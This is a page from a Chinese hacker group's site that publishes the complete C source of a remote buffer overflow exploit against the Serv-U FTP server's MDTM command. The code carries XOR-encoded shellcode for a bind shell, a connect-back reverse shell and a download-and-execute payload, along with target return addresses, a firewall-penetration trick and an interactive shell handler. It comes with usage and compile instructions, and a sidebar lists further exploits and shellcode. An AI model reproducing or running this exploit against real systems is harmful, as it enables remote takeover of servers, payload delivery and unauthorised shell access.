快速通道

文档分类

- 软件作品
- 文档作品
- **代码作品**

<=

推荐作品

- Windows RPC DCOM DoS exploit
- Serv-U FTPD 2.x/3.x/4.x/5.x "MDTM" Command Rem...
- Mysql 3.23.x/4.0.x remote exploit
- download url file shellcode for win2k/xp
- 利用hash值取得函数地址的connect back shellcode.
- 分析理解elf文件并且自动编排shellcode的程序

Serv-U FTPD 2.x/3.x/4.x/5.x "MDTM" Command Remote Exploit

提交作品： lion
提交日期： 2004-02-28
作品属性： 推荐
文档类别： 代码作品
相关下载： **=>下载<=**
浏览次数： 今12次/总8484次

```
/*
*-------------------------------------------------------------------------
*
* Servu2.c - Serv-U FTPD 2.x/3.x/4.x/5.x "MDTM" Command
* Remote stack buffer overflow exploit
*
* Copyright (C) 2004 HUC All Rights Reserved.
*
* Author   : lion
*          : lion@cnhonker.net
*          : http://www.cnhonker.com
* Date     : 2004-01-07
* Update   : 2004-02-24 Who report this bug to Rhino??? Released v5.0.0.4
patched this bug.
*          : 2004-02-17 v7.0 Add Download url file and exec shellcode.
*          : 2004-02-04 v6.1 Modified to work with UNIX.
*          : 2004-02-01 v6.0 Change decode and target, change 'jmp(call)
ebx' addr to 'pop,pop,ret' addr, can attack winXP and win2003 now.
*          : 2004-01-31 v5.0 Add msvcrt.dll jmp ebx addr, can use on
CN/TW/EN/KR/other win2k SP4 if msvcrt.dll not changed.
*          : 2004-01-26 v4.2 Change attack target, 2.x to '>= 2.5i' and '<=
2.5h'.
*          : 2004-01-22 v4.1 Change connectback shellcode in one, change
bind shellcode to rebind shellcode.
*          : 2004-01-13 v4.0 Can attack Serv-U 2.x.
*          : 2004-01-11 v3.1 Add "PORT" command, can penetrate through
the firewall. (shport > 1024)
*          : 2004-01-09 v3.0 Put shellcode in file parameter, can attack Serv-
U 4.1.0.12
*          : 2004-01-08 v2.0 Add connectback shellcode.
*          : 2004-01-07 v1.0 Can attack Serv-U v3.0.0.16 ~ v4.1.0.11
* Tested   : Windows 2000 Server EN/CN
*          :    + Serv-U v3.0.0.16 ~ v5.0.0.3
*          :    + Serv-U v2.5b, v2.5e, v2.5h, v2.5i, v2.5k
*          : Windows XP EN/CN
*          :    + Serv-U v4.x
* Notice   : *** Bug find by bkbll (bkbll@cnhonker.net) 2004-01-07 ***
```

```
*        : *** You need a valid account. include anonymous!!! ***
*        : *** This is a Public Version! ***
* Complie  :On Windows
*        :    cl Servu2.c
*        :On UNIX
*        :    gcc -o Servu2 Servu2.c -DUNIX
* Usage      :e:\>Servu2
*        :Serv-U FTPD 2.x/3.x/4.x/5.x remote overflow exploit V7.0 (2004-
01-07)
*        :Bug find by bkbll (bkbll@cnhonker.net), Code by lion
(lion@cnhonker.net)
*        :Welcome to HUC website http://www.cnhonker.com
*        :Usage:  Servu2  -i <ip> [Options]
*        :             -t      Show All Target Type.
*        :
*        :[Options:]
*        :       -i      Target IP                Required
*        :       -t      Target Type               Default: 0
*        :       -u      FTP Username               Default: ftp
*        :       -p      FTP Password              Default: ftp@ftp.com
*        :       -f      Port of the FTP Server       Default: 21
*        :       -s      Port of the Shell          Default: 53
*        :       -c      Connect back IP            For connectback shellcode
*        :       -d      Download the URL and Exec     Start with 'http://' or
'ftp://'
*-------------------------------------------------------------------------
*/

#ifndef UNIX
#include <winsock2.h>
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>

#pragma comment(lib, "ws2_32")
#else
#define uint32_t DWORD
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <netinet/in.h>
#include <errno.h>

#define closesocket(val) close(val)
#define SOCKET unsigned int
#define SOCKADDR_IN struct sockaddr_in
#define BOOL unsigned int
#define TRUE 1
#define FALSE 0
#define INVALID_SOCKET -1
#define SOCKET_ERROR -1
#define USHORT unsigned int
#define Sleep usleep
#define __leave goto exit_try
#define _snprintf snprintf
typedef struct sockaddr* LPSOCKADDR;
#endif


#ifdef UNIX
int GetLastError()
{
   return errno;
}

int WSAGetLastError()
{
```

```
   return errno;
}
#endif

#define MAX_LEN          2048
#define    SEH_OFFSET       48-1
#define JMP_OVER       "\xeb\x06\xeb\x06"
#define    VERSION          "7.0"

// for rebind shellcode
#define BIND_OFFSET       113

// for connectback shellcode
#define PORT_OFFSET       95
#define IP_OFFSET       88

// default parameter
#define SHELLPORT       53
#define FTPPORT        21
#define DEFTYPE        0
#define DEFUSER          "ftp"
#define DEFPASS          "ftp@ftp.com"

// for Serv-U 2.x
#define READ_ADDR       "\x01\x01\xfd\x7f"
#define READ_OFFSET       5+14+12

struct
{
   DWORD    dwJMP;
   char    *szDescription;
}targets[] =
{
   {0x7ffa1c1b,"Serv-U 3.x/4.x/5.x  EN    2K/XP/2K3
 ALL"},       //pop,pop,ret addr for all EN win2000,winxp,win2003
   {0x7ffa2186,"Serv-U 3.x/4.x/5.x  TW    2K        ALL"},       //jmp ebx
addr for all TW win2000
   {0x7ffa4a1b,"Serv-U 3.x/4.x/5.x  KR    2K        ALL"},       //jmp ebx
addr for all KR win2000

   {0x7ffa24ce,"Serv-U 2.x >= 2.5i  TW    2K/XP/2K3  ALL"},       //jmp
esp addr for all TW win2000 and winxp
   {0x7ffa24ce,"Serv-U 2.x <= 2.5h  TW    2K/XP/2K3  ALL"},       //jmp
esp addr for all TW win2000 and winxp

   {0x7ffa82a4,"Serv-U 2.x >= 2.5i  KR    2K/XP/2K3  ALL"},       //call esp
addr for all KR win2000 and winxp
   {0x7ffa82a4,"Serv-U 2.x <= 2.5h  KR    2K/XP/2K3  ALL"},       //call
esp addr for all KR win2000 and winxp
   {0x778e71a3,"Serv-U 2.x >= 2.5i  EN    2K
SP4"},       //setupapi.dll jmp esp addr
   {0x778e71a3,"Serv-U 2.x <= 2.5h  EN    2K
SP4"},       //setupapi.dll jmp esp addr

//    {0x7802ba77,"Serv-U test"},
},v;


unsigned char    *szSend[4];
unsigned char    szCommand[MAX_LEN];

// 28 bytes decode by lion for overwrite eip, don't change this.
unsigned char decode[]=
"\xBE\x6D\x69\x6F\x6E\x4E\xBF\x6D\x69\x30\x6E\x4F\x43\x39\x3B\x75"
"\xFB\x4B\x80\x33\x99\x39\x73\xFC\x75\xF7\xFF\xD3";

// 31 bytes decode by lion for overwrite SEH, don't change this.
```

```
unsigned char decode2[]=
"\x5E\x5F\x5B\xBE\x6D\x69\x6F\x6E\x4E\xBF\x6D\x69\x30\x6E\x4F\x43"
"\x39\x3B\x75\xFB\x4B\x80\x33\x99\x39\x73\xFC\x75\xF7\xFF\xD3";


// Shellcode start sign, use for decode, don't change this.
unsigned char sc_start[]=
"lion";

// Shellcode end sign, use for decode, don't change this.
unsigned char sc_end[]=
"li0n";

// 344 bytes rebind shellcode by lion for Serv-U (xor with 0x99)
unsigned char sc[]=
"\x70\xBB\x98\x99\x99\xC6\xFD\x38\xA9\x99\x99\x99\x12\xD9\x95\x12"
"\xE9\x85\x34\x12\xF1\x91\x12\x6E\xF3\x9D\xC0\x71\x5B\x99\x99\x99"
"\x7B\x60\xF1\xAA\xAB\x99\x99\xF1\xEE\xEA\xAB\xC6\xCD\x66\x8F\x12"
"\x71\xF3\x9E\xC0\x71\x30\x99\x99\x99\x7B\x60\x18\x75\x09\x98\x99"
"\x99\xCD\xF1\x98\x98\x99\x99\x66\xCF\x89\xC9\xC9\xC9\xC9\xF3\x98"
"\xF3\x9B\x66\xCF\x8D\x12\x41\x5E\x9E\x98\x99\x99\x99\xF3\x9D\x14"
"\x8E\xCB\xF3\x9D\xF1\x66\x66\x99\x99\xCA\x66\xCF\x81\x5E\x9E\x9B"
"\x99\x99\xAC\x10\xDE\x9D\xF3\x89\xCE\xCA\x66\xCF\x85\xF3\x98\xCA"
"\x66\xCF\xB9\xC9\xC9\xCA\x66\xCF\xBD\x12\x41\xAA\x59\xF1\xFA\xF4"
"\xFD\x99\x10\xFF\xA9\x1A\x75\xCD\x12\x65\xF3\x8D\xC0\x10\x9D\x16"
"\x7B\x62\x5F\xDE\x89\xDD\x67\xDE\xA5\x67\xDE\xA4\x10\xC6\xD1
\x10"
"\xC6\xD5\x10\xC6\xC9\x14\xDD\xBD\x89\xCE\xC9\xC8\xC8\xC8\xF3
\x98"
"\xC8\xC8\x66\xEF\xA9\xC8\x66\xCF\x9D\x12\x55\xF3\x66\x66\xA8\x66"
"\xCF\x91\x72\x9E\x09\x09\x09\x09\x09\x09\x09\xCA\x66\xCF\xB1\x66"
"\xCF\x95\xC8\xCF\x12\xEC\xA5\x12\xED\xB7\xE1\x9A\x6C\xCF\x12\xEF"
"\xB9\x9A\x6C\xAA\x50\xD0\xD8\x34\x9A\x5C\xAA\x42\x96\x27\x89\xA3"
"\x4F\xED\x91\x58\x52\x94\x9A\x43\xD9\x72\x68\xA2\x86\xEC\x7E\xC7"
"\x12\xC7\xBD\x9A\x44\xFF\x12\x95\xD2\x12\xC7\x85\x9A\x44\x12\x9D"
"\x12\x9A\x5C\x32\xC7\xC0\x5A\x71\x40\x67\x66\x66\x17\xD7\x97\x75"
"\xEB\x67\x2A\x8F\x34\x40\x9C\x57\xE7\x41\x7B\xEA\x52\x74\x65\xA2"
"\x40\x90\x6C\x34\x75\x6B\xCC\x59\x3D\x83\xE9\x5E\x3D\x34\xB7\x70"
"\x7C\xD0\x1F\xD0\x7E\xE0\x5F\xE0";

// 304 bytes connectback shellcode by lion for Serv-U (xor with 0x99)
unsigned char cbsc[]=
"\x70\x9C\x98\x99\x99\xC6\xFD\x38\xA9\x99\x99\x99\x12\xD9\x95\x12"
"\xE9\x85\x34\x12\xF1\x91\x12\x6E\xF3\x9D\xC0\x71\x05\x99\x99\x99"
"\x7B\x60\xF1\xAA\xAB\x99\x99\xF1\xEE\xEA\xAB\xC6\xCD\x66\x8F\x12"
"\x71\xF3\x9D\xC0\x71\x1A\x99\x99\x99\x7B\x60\x18\x75\x09\x98\x99"
"\x99\xCD\xF1\x98\x98\x99\x99\x66\xCF\x89\xC9\xC9\xC9\xC9\xF3\x98"
"\xF3\x9B\x66\xCF\x8D\x12\x41\xF1\xE6\x99\x99\x98\xF1\x9B\x99\x99"
"\xAC\x12\x55\xF3\x89\xC8\xCA\x66\xCF\x81\x1C\x59\xEC\xD2\xAA\x59"
"\xF1\xFA\xF4\xFD\x99\x10\xFF\xA9\x1A\x75\xCD\x12\x65\xF3\x89\xC0"
"\x10\x9D\x16\x7B\x62\x5F\xDE\x89\xDD\x67\xDE\xA5\x67\xDE\xA4
\x10"
"\xC6\xD1\x10\xC6\xD5\x10\xC6\xC9\x14\xDD\xBD\x89\xCE\xC9\xC8
\xC8"
"\xC8\xF3\x98\xC8\xC8\x66\xEF\xA9\xC8\x66\xCF\x9D\x12\x55\xF3\x66"
"\x66\xA8\x66\xCF\x91\xCA\x66\xCF\x85\x66\xCF\x95\xC8\xCF\x12\xEC"
"\xA5\x12\xED\xB7\xE1\x9A\x6C\xCF\x12\xEF\xB9\x9A\x6C\x72\x9E\x09"
"\x09\x09\x09\x09\x09\x09\xAA\x50\xD0\xD8\x34\x9A\x5C\xAA\x42\x96"
"\x27\x89\xA3\x4F\xED\x91\x58\x52\x94\x9A\x43\xD9\x72\x68\xA2\x86"
"\xEC\x7E\xC7\x12\xC7\xBD\x9A\x44\xFF\x12\x95\xD2\x12\xC7\x85\x9A"
"\x44\x12\x9D\x12\x9A\x5C\x32\xC7\xC0\x5A\x71\x6F\x67\x66\x66\x17"
"\xD7\x97\x75\xEB\x67\x2A\x8F\x34\x40\x9C\x57\xE7\x41\x7B\xEA\x52"
"\x74\x65\xA2\x40\x90\x6C\x34\x75\x60\x33\xF9\x7E\xE0\x5F\xE0\x99";

// 194 bytes download url file and exec shellcode by lion (xor with 0x99)
// Tested on Serv-U 3.x/4.x/5.x
unsigned char dusc[]=
```

```
"\x70\x3D\x99\x99\x99\xC6\xFD\x38\xA9\x99\x99\x99\x12\xD9\x95\x12"
"\xE9\x85\x34\x12\xF1\x91\x12\x6E\xF3\x9D\xC0\x71\xDD\x99\x99\x99"
"\x7B\x60\xF1\xF6\xF7\x99\x99\xF1\xEC\xEB\xF5\xF4\xCD\x66\x8F\x12"
"\x71\x71\xB7\x99\x99\x99\x1A\x75\xB9\x12\x45\xF3\xB9\xCA\x66\xCF"
"\x9D\x5E\x9D\x9A\xC5\xF8\xB7\xFC\x5E\xDD\x9A\x9D\xE1\xFC\x99\x99"
"\xAA\x59\xC9\xC9\xCA\xCE\xC9\x66\xCF\x89\x12\x45\xC9\xCA\x66\xCF"
"\x91\x66\xCF\x95\xC8\xCF\x12\xEC\xA5\x12\xED\xB7\xE1\x9A\x6C\xCF"
"\x12\xEF\xB9\x9A\x6C\xAA\x50\xD0\xD8\x34\x9A\x5C\xAA\x42\x96\x27"
"\x89\xA3\x4F\xED\x91\x58\x52\x94\x9A\x43\xD9\x72\x68\xA2\x86\xEC"
"\x7E\xC7\x12\xC7\xBD\x9A\x44\xFF\x12\x95\xD2\x12\xC7\x85\x9A\x44"
"\x12\x9D\x12\x9A\x5C\x32\xC7\xC0\x5A\x71\xCE\x66\x66\x66\x17\xD7"
"\x97\x75\x58\xE0\x7C\x21\x01\x67\x13\x97\xE7\x41\x7B\xEA\xAF\x83"
"\xB6\xE9";

// exec file url addr for download url file and exec shellcode
unsigned char downloadurl[255]= "";


void showtype()
{
   int i;
//    usage(p);
   printf( "[Type]:\n");
   for(i=0;i<sizeof(targets)/sizeof(v);i++)
   {
      printf("\t%d\t0x%x\t%s\n", i, targets[i].dwJMP, targets
[i].szDescription);
   }
}

void usage(char *p)
{
   printf( "Usage:\t%s\t-i <ip> [Options]\n"
      "\t\t-t\tShow All Target Type.\n\n"
      "[Options:]\n"
      "\t-i\tTarget IP                Required\n"
      "\t-t\tTarget Type               Default: %d\n"
      "\t-u\tFTP Username                 Default: %s\n"
      "\t-p\tFTP Password               Default: %s\n"
      "\t-f\tPort of the FTP Server       Default: %d\n"
      "\t-s\tPort of the Shell           Default: %d\n"
      "\t-c\tConnect back IP             For connectback shellcode\n"
      "\t-d\tDownload the URL and Exec     Start with 'http://' or
'ftp://'\n\n"
      , p, DEFTYPE, DEFUSER, DEFPASS, FTPPORT, SHELLPORT);

   //showtype();
}

/* ripped from TESO code and modifed by ey4s for win32 */
void shell (int sock)
{
   int     l;
   char    buf[512];
   struct    timeval time;
   unsigned long    ul[2];

   time.tv_sec = 1;
   time.tv_usec = 0;

   while (1)
   {
      ul[0] = 1;
      ul[1] = sock;

      l = select (0, (fd_set *)&ul, NULL, NULL, &time);
      if(l == 1)
```

```
      {
         l = recv (sock, buf, sizeof (buf), 0);
         if (l <= 0)
         {
            printf ("[-] Connection closed.\n");
            return;
         }
         l = write (1, buf, l);
         if (l <= 0)
         {
            printf ("[-] Connection closed.\n");
            return;
         }
      }
      else
      {
         l = read (0, buf, sizeof (buf));
         if (l <= 0)
         {
            printf("[-] Connection closed.\n");
            return;
         }
         l = send(sock, buf, l, 0);
         if (l <= 0)
         {
            printf("[-] Connection closed.\n");
            return;
         }
      }
   }
}

int main(int argc, char **argv)
{
   struct    sockaddr_in sa, server, client;
#ifndef UNIX
   WSADATA    wsd;
#endif
   SOCKET    s, s2, s3;
   int    iErr, ret, len;
   char    szRecvBuff[MAX_LEN];
   int    i,j;
   int    iType =DEFTYPE, iPort=FTPPORT;
   char    *ip=NULL, *pUser=DEFUSER, *pPass=DEFPASS, *cbHost=NULL,
*url;
   char    user[128], pass[128];
   BOOL    bCb=FALSE,bUrl=FALSE, bLocal=TRUE, b2x=FALSE;
   unsigned short    shport=SHELLPORT, shport2=0;
   unsigned long    cbip;
   unsigned int    timeout=5000, Reuse;
   char    penetrate[255],cbHost2[20];

   printf( "Serv-U FTPD 2.x/3.x/4.x/5.x remote overflow exploit V%s (2004-
01-07)\r\n"
      "Bug find by bkbll (bkbll@cnhonker.net), Code by lion
(lion@cnhonker.net)\r\n"
      "Welcome to HUC website http://www.cnhonker.com\r\n\n"
         , VERSION);

   if(argc < 2)
   {
      usage(argv[0]);
      return 1;
   }
   else if(argc == 2 && argv[1][1] == 't')
   {
      showtype();
```

```
    return 1;
}

for(i=1;i<argc;i+=2)
{
    if(strlen(argv[i]) != 2)
    {
        usage(argv[0]);
        return -1;
    }
    // check parameter
    if(i == argc-1)
    {
        usage(argv[0]);
        return -1;
    }
    switch(argv[i][1])
    {
        case 'i':
            ip=argv[i+1];
            break;
        case 't':
            iType = atoi(argv[i+1]);
            break;
        case 'f':
            iPort=atoi(argv[i+1]);
            break;
        case 'p':
            pPass = argv[i+1];
            break;
        case 'u':
            pUser=argv[i+1];
            break;
        case 's':
            shport=atoi(argv[i+1]);
            break;
        case 'c':
            cbHost=argv[i+1];
            bCb=TRUE;
            break;
        case 'd':
            url = argv[i+1];
            bUrl=TRUE;
            break;

    }
}

if((!ip) || (!user) || (!pass))
{
    usage(argv[0]);
    printf("[-] Invalid parameter.\n");
    return -1;
}

if( (iType<0) || (iType>=sizeof(targets)/sizeof(v)) )
{
    usage(argv[0]);
    printf("[-] Invalid type.\n");
    return -1;
}

if(iPort <1 || iPort >65535 || shport <1 || shport > 65535)
{
    usage(argv[0]);
    printf("[-] Invalid port.\n");
    return -1;
```

```
    }

    if(bUrl)
    {
        if( (!strstr(url, "http://") &&  !strstr(url, "ftp://")) || strlen(url) < 10 ||
strlen(url) > 255)
        {
            usage(argv[0]);
            printf("[-] Invalid url. Must start with 'http://','ftp://' and <255
bytes.\n");
            return -1;
        }
    }

    if(strstr(targets[iType].szDescription, "2.x"))
    {
        b2x = TRUE;
        printf("[*] Attack Target is Serv-U 2.x.\r\n");
    }
    else
    {
        printf("[*] Attack Target is Serv-U 3.x/4.x/5.x.\r\n");
    }

    _snprintf(user, sizeof(user)-1, "USER %s\r\n", pUser);
    user[sizeof(user)-1]='\0';
    _snprintf(pass, sizeof(pass)-1, "PASS %s\r\n", pPass);
    pass[sizeof(pass)-1]='\0';
    szSend[0] = user;    //user
    szSend[1] = pass;    //pass
    szSend[2] = penetrate;    //pentrate
    szSend[3] = szCommand;    //shellcode

    // Penetrate through the firewall.
    if(bCb && shport > 1024)
    {
        strncpy(cbHost2, cbHost, 20);
        for(i=0;i<strlen(cbHost); i++)
        {
            if(cbHost[i] == '.')
                cbHost2[i] = ',';
        }

        sprintf(penetrate, "PORT %s,%d,%d\r\n", cbHost2, shport/256,
shport%256);

        //printf("%s", penetrate);
    }
    else
    {
        sprintf(penetrate,"TYPE I\r\n");
    }

    // fill the "MDTM" command
    strcpy(szCommand, "MDTM 20031111111111+");

    // fill the egg
    for(i=0; i<SEH_OFFSET; i++)
    {
        strcat(szCommand, "\x90");
    }

    // ret addr
    if(b2x)
    {

        // fill the egg
```

```
        if(strstr(targets[iType].szDescription, "<"))
        {
           j = 8;
        }
        else
        {
           j = 4;
        }
        for(i=0; i<j; i++)
        {
           strcat(szCommand, "\x90");
        }

        memcpy(&szCommand[strlen(szCommand)], &targets[iType].dwJMP,
4);

        memcpy(&szCommand[READ_OFFSET], &READ_ADDR, 4);

        // fill the decode
        strcat(szCommand, decode);
     }
     else
     {

        // fill the seh
        for(i=0; i<0x10*1; i+=8)
        //for(i=0; i<1; i++)
        {
           memcpy(&szCommand[strlen(szCommand)], &JMP_OVER, 4);
           memcpy(&szCommand[strlen(szCommand)], &targets
[iType].dwJMP, 4);
        }

        // fill the decode
        strcat(szCommand, decode2);
     }

     // fill the space
     strcat(szCommand, " ");

     // fill the egg
     for(i=0; i<0x10; i++)
     {
        strcat(szCommand, "\x90");
     }

     // fill the shellcode start sign
     strcat(szCommand, sc_start);

     // fill the shellcode
       if(bCb)
     {
        // connectback shellcode
        shport2 = htons(shport)^(u_short)0x9999;
        cbip = inet_addr(cbHost)^0x99999999;
        memcpy(&cbsc[PORT_OFFSET], &shport2, 2);
        memcpy(&cbsc[IP_OFFSET], &cbip, 4);
        strcat(szCommand, cbsc);
     }
     else
     if(bUrl)
     {
        memset(downloadurl, 0, sizeof(downloadurl));

        // download url exec shellcode
        for(i=0;i<strlen(url);i++)
        {
```

```
            downloadurl[i] = url[i] ^ 0x99;
        }

        downloadurl[i] ^= 0x99;
        strcat(szCommand, dusc);
        strcat(szCommand, downloadurl);
    }
      else
    {
        // rebind shellcode
        shport2 = htons(shport)^(u_short)0x9999;
        memcpy(&sc[BIND_OFFSET], &shport2, 2);
        strcat(szCommand, sc);
    }

    // fill the shellcode end sign
    strcat(szCommand, sc_end);

    // send end
    strcat(szCommand, "\r\n");

    if(strlen(szCommand) >= sizeof(szCommand))
    {
        printf("[-] stack buffer overflow.\n");
        return -1;
    }

    //printf("send size %d:%s", strlen(szCommand), szCommand);
    //printf("buffsize %d\r\n", strlen(szCommand)-5-2);

#ifndef UNIX
    __try
#endif
    {

#ifndef UNIX
        if (WSAStartup(MAKEWORD(1,1), &wsd) != 0)
        {
            printf("[-] WSAStartup error:%d\n", WSAGetLastError());
            __leave;
        }
#endif
        s=socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
        if(s == INVALID_SOCKET)
        {
            printf("[-] Create socket failed:%d",GetLastError());
            __leave;
        }

        sa.sin_family=AF_INET;
        sa.sin_port=htons((USHORT)iPort);

#ifndef UNIX
        sa.sin_addr.S_un.S_addr=inet_addr(ip);
#else
        sa.sin_addr.s_addr=inet_addr(ip);
#endif
        setsockopt(s,SOL_SOCKET,SO_RCVTIMEO,(char *)&timeout,sizeof
(unsigned int));
        iErr = connect(s,(struct sockaddr *)&sa,sizeof(sa));
        if(iErr == SOCKET_ERROR)
        {
            printf("[-] Connect to %s:%d error:%d\n", ip, iPort, GetLastError
());
            __leave;
        }
        printf("[+] Connect to %s:%d success.\n", ip, iPort);
```

```
        if(bCb)
        {
            Sleep(500);
            s2 = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);

            server.sin_family=AF_INET;

#ifndef UNIX
            server.sin_addr.S_un.S_addr=inet_addr(cbHost);
            //server.sin_addr.s_addr=INADDR_ANY;
#else
            server.sin_addr.s_addr=inet_addr(cbHost);
#endif

            server.sin_port=htons((unsigned short)shport);

            setsockopt(s2,SOL_SOCKET,SO_RCVTIMEO,(char *)&timeout,sizeof
(unsigned int));

            Reuse = 1;
            setsockopt(s2, SOL_SOCKET, SO_REUSEADDR, (char*)&Reuse,
sizeof(Reuse));

            if(bind(s2,(LPSOCKADDR)&server,sizeof(server))
==SOCKET_ERROR)
            {
                printf("[-] Bind port on %s:%d error.\n", cbHost, shport);
                printf("[-] You must run nc get the shell.\n");
                bLocal = FALSE;
                //closesocket(s2);
                //__leave;
            }
            else
            {
                printf("[+] Bind port on %s:%d success.\n", cbHost, shport);
                listen(s2, 1);
            }
        }

        for(i=0;i<sizeof(szSend)/sizeof(szSend[0]);i++)
        {
            memset(szRecvBuff, 0, sizeof(szRecvBuff));
            iErr = recv(s, szRecvBuff, sizeof(szRecvBuff), 0);
            if(iErr == SOCKET_ERROR)
            {
                printf("[-] Recv buffer error:%d.\n", WSAGetLastError());
                __leave;
            }
            printf("[+] Recv: %s", szRecvBuff);

            if(szRecvBuff[0] == '5')
            {
                printf("[-] Server return a error Message.\r\n");
                __leave;
            }

            iErr = send(s, szSend[i], strlen(szSend[i]),0);
            if(iErr == SOCKET_ERROR)
            {
                printf("[-] Send buffer error:%d.\n", WSAGetLastError());
                __leave;
            }

            if(i==sizeof(szSend)/sizeof(szSend[0])-1)
                printf("[+] Send shellcode %d bytes.\n", iErr);
            else
```

```
            printf("[+] Send: %s", szSend[i]);
        }

        if(bUrl)
        {
           printf("[+] Target Download the file and exec: %s\r\n", url);
           printf("[+] Success? Maybe!\r\n");
        }
        else
        {
           printf("[+] If you don't have a shell it didn't work.\n");

           if(bCb)
           {
              if(bLocal)
              {
                 printf("[+] Wait for shell...\n");

                 len = sizeof(client);
                 s3 = accept(s2, (struct sockaddr*)&client, &len);
                 if(s3 != INVALID_SOCKET)
                 {
                    printf("[+] Exploit success! Good luck! :)\n");
                    printf("[+] ===--====--====--====--====--====--====--
===--====--====--====--====--====--====\n");
                    shell(s3);
                 }
              }
           }
           else
           {
              printf("[+] Connect to shell...\n");

              Sleep(1000);
              s2 = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
              server.sin_family = AF_INET;
              server.sin_port = htons(shport);
              server.sin_addr.s_addr=inet_addr(ip);

              ret = connect(s2, (struct sockaddr *)&server, sizeof(server));
              if(ret!=0)
              {
                 printf("[-] Exploit seem failed.\n");
                 __leave;
              }

              printf("[+] Exploit success! Good luck! :)\n");
              printf("[+] ===--====--====--====--====--====--====--====--
===--====--====--====--====--====--====\n");
              shell(s2);
           }
        }
     }

#ifdef UNIX
exit_try:
#endif

#ifndef UNIX
     __finally
#endif
     {
        if(s != INVALID_SOCKET) closesocket(s);
        if(s2 != INVALID_SOCKET) closesocket(s2);
        if(s3 != INVALID_SOCKET) closesocket(s3);

#ifndef UNIX
```

```
    WSACleanup();
#endif
  }

  return 0;
}
```

返回上页

Copyright © 2000-2004 **HUC** All Rights Reserved.
中国红客网络技术联盟 www.cnhonker.com
webmaster@cnhonker.net